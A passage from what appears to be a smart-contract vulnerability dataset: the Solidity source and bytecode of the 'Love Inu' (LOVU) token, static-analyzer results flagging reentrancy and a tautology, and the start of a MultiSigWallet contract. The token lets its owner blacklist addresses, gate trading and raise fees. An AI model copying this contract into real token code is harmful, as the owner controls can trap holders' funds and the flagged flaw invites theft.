function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LOVU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Love Inu";
string private constant _symbol = "LOVU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 14;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x6ADCdA1b7d5FEf01D230A16B1E9dfC62cA975D44);
address payable private _marketingAddress = payable(0x59A791fC814789a5356f938a394a173749779101);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 10000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104af57600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ad9565b6105fa565b005b34801561020a57600080fd5b506040805180820190915260088152674c6f766520496e7560c01b60208201525b6040516102389190611b9e565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611bf3565b610699565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50683635c9adc5dea000005b604051908152602001610238565b3480156102db57600080fd5b506102616102ea366004611c1f565b6106b0565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610238565b34801561032d57600080fd5b50601554610291906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611c60565b610719565b34801561036d57600080fd5b506101fc61037c366004611c8d565b610764565b34801561038d57600080fd5b506101fc6107ac565b3480156103a257600080fd5b506102c16103b1366004611c60565b6107f7565b3480156103c257600080fd5b506101fc610819565b3480156103d757600080fd5b506101fc6103e6366004611ca8565b61088d565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611c60565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610291565b34801561045857600080fd5b506101fc610467366004611c8d565b6108cc565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b506040805180820190915260048152634c4f565560e01b602082015261022b565b3480156104bb57600080fd5b506101fc6104ca366004611ca8565b610914565b3480156104db57600080fd5b506101fc6104ea366004611cc1565b610943565b3480156104fb57600080fd5b5061026161050a366004611bf3565b610af9565b34801561051b57600080fd5b5061026161052a366004611c60565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc610b06565b34801561056057600080fd5b506101fc61056f366004611cf3565b610b5a565b34801561058057600080fd5b506102c161058f366004611d77565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611ca8565b610bfb565b3480156105e657600080fd5b506101fc6105f5366004611c60565b610c2a565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611db0565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611de5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611e11565b915050610630565b5050565b60006106a6338484610d14565b5060015b92915050565b60006106bd848484610e38565b61070f843361070a85604051806060016040528060288152602001611f2b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611374565b610d14565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611db0565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611db0565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e157506013546001600160a01b0316336001600160a01b0316145b6107ea57600080fd5b476107f4816113ae565b50565b6001600160a01b0381166000908152600260205260408120546106aa906113e8565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161062490611db0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161062490611db0565b674563918244f400008111156107f457601655565b6000546001600160a01b031633146108f65760405162461bcd60e51b815260040161062490611db0565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260040161062490611db0565b601855565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161062490611db0565b60048411156109cc5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610624565b6014821115610a285760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610624565b6004831115610a885760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610624565b6014811115610ae55760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610624565b600893909355600a91909155600955600b55565b60006106a6338484610e38565b6012546001600160a01b0316336001600160a01b03161480610b3b57506013546001600160a01b0316336001600160a01b0316145b610b4457600080fd5b6000610b4f306107f7565b90506107f48161146c565b6000546001600160a01b03163314610b845760405162461bcd60e51b815260040161062490611db0565b60005b82811015610bf5578160056000868685818110610ba657610ba6611de5565b9050602002016020810190610bbb9190611c60565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bed81611e11565b915050610b87565b50505050565b6000546001600160a01b03163314610c255760405162461bcd60e51b815260040161062490611db0565b601755565b6000546001600160a01b03163314610c545760405162461bcd60e51b815260040161062490611db0565b6001600160a01b038116610cb95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610dd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610efe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610f605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610f8c57506000546001600160a01b03838116911614155b1561126d57601554600160a01b900460ff16611025576000546001600160a01b038481169116146110255760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b6016548111156110775760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff161580156110b957506001600160a01b03821660009081526010602052604090205460ff16155b6111115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6015546001600160a01b038381169116146111965760175481611133846107f7565b61113d9190611e2c565b106111965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610624565b60006111a1306107f7565b6018546016549192508210159082106111ba5760165491505b8080156111d15750601554600160a81b900460ff16155b80156111eb57506015546001600160a01b03868116911614155b80156112005750601554600160b01b900460ff165b801561122557506001600160a01b03851660009081526005602052604090205460ff16155b801561124a57506001600160a01b03841660009081526005602052604090205460ff16155b1561126a576112588261146c565b47801561126857611268476113ae565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112af57506001600160a01b03831660009081526005602052604090205460ff165b806112e157506015546001600160a01b038581169116148015906112e157506015546001600160a01b03848116911614155b156112ee57506000611368565b6015546001600160a01b03858116911614801561131957506014546001600160a01b03848116911614155b1561132b57600854600c55600954600d555b6015546001600160a01b03848116911614801561135657506014546001600160a01b03858116911614155b1561136857600a54600c55600b54600d555b610bf5848484846115e6565b600081848411156113985760405162461bcd60e51b81526004016106249190611b9e565b5060006113a58486611e44565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b600060065482111561144f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b6000611459611614565b90506114658382611637565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b4576114b4611de5565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561150d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115319190611e5b565b8160018151811061154457611544611de5565b6001600160a01b03928316602091820292909201015260145461156a9130911684610d14565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115a3908590600090869030904290600401611e78565b600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115f3576115f3611679565b6115fe8484846116a7565b80610bf557610bf5600e54600c55600f54600d55565b600080600061162161179e565b90925090506116308282611637565b9250505090565b600061146583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e0565b600c541580156116895750600d54155b1561169057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116b98761180e565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116eb908761186b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461171a90866118ad565b6001600160a01b03891660009081526002602052604090205561173c8161190c565b6117468483611956565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161178b91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117ba8282611637565b8210156117d757505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118015760405162461bcd60e51b81526004016106249190611b9e565b5060006113a58486611ee9565b600080600080600080600080600061182b8a600c54600d5461197a565b925092509250600061183b611614565b9050600080600061184e8e8787876119cf565b919e509c509a509598509396509194505050505091939550919395565b600061146583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611374565b6000806118ba8385611e2c565b9050838110156114655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b6000611916611614565b905060006119248383611a1f565b3060009081526002602052604090205490915061194190826118ad565b30600090815260026020526040902055505050565b600654611963908361186b565b60065560075461197390826118ad565b6007555050565b6000808080611994606461198e8989611a1f565b90611637565b905060006119a7606461198e8a89611a1f565b905060006119bf826119b98b8661186b565b9061186b565b9992985090965090945050505050565b60008080806119de8886611a1f565b905060006119ec8887611a1f565b905060006119fa8888611a1f565b90506000611a0c826119b9868661186b565b939b939a50919850919650505050505050565b600082611a2e575060006106aa565b6000611a3a8385611f0b565b905082611a478583611ee9565b146114655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f457600080fd5b8035611ad481611ab4565b919050565b60006020808385031215611aec57600080fd5b823567ffffffffffffffff80821115611b0457600080fd5b818501915085601f830112611b1857600080fd5b813581811115611b2a57611b2a611a9e565b8060051b604051601f19603f83011681018181108582111715611b4f57611b4f611a9e565b604052918252848201925083810185019188831115611b6d57600080fd5b938501935b82851015611b9257611b8385611ac9565b84529385019392850192611b72565b98975050505050505050565b600060208083528351808285015260005b81811015611bcb57858101830151858201604001528201611baf565b81811115611bdd576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c0657600080fd5b8235611c1181611ab4565b946020939093013593505050565b600080600060608486031215611c3457600080fd5b8335611c3f81611ab4565b92506020840135611c4f81611ab4565b929592945050506040919091013590565b600060208284031215611c7257600080fd5b813561146581611ab4565b80358015158114611ad457600080fd5b600060208284031215611c9f57600080fd5b61146582611c7d565b600060208284031215611cba57600080fd5b5035919050565b60008060008060808587031215611cd757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d0857600080fd5b833567ffffffffffffffff80821115611d2057600080fd5b818601915086601f830112611d3457600080fd5b813581811115611d4357600080fd5b8760208260051b8501011115611d5857600080fd5b602092830195509350611d6e9186019050611c7d565b90509250925092565b60008060408385031215611d8a57600080fd5b8235611d9581611ab4565b91506020830135611da581611ab4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e2557611e25611dfb565b5060010190565b60008219821115611e3f57611e3f611dfb565b500190565b600082821015611e5657611e56611dfb565b500390565b600060208284031215611e6d57600080fd5b815161146581611ab4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ec85784516001600160a01b031683529383019391830191600101611ea3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f0657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f2557611f25611dfb565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208ab41a868da68923620c94652699906ffb762572448dc8165c8258b89e749ecb64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 6,013 |
0x52a5bb9d083f842ae6f54c7de9b5c4164cdf80b2
|
pragma solidity 0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
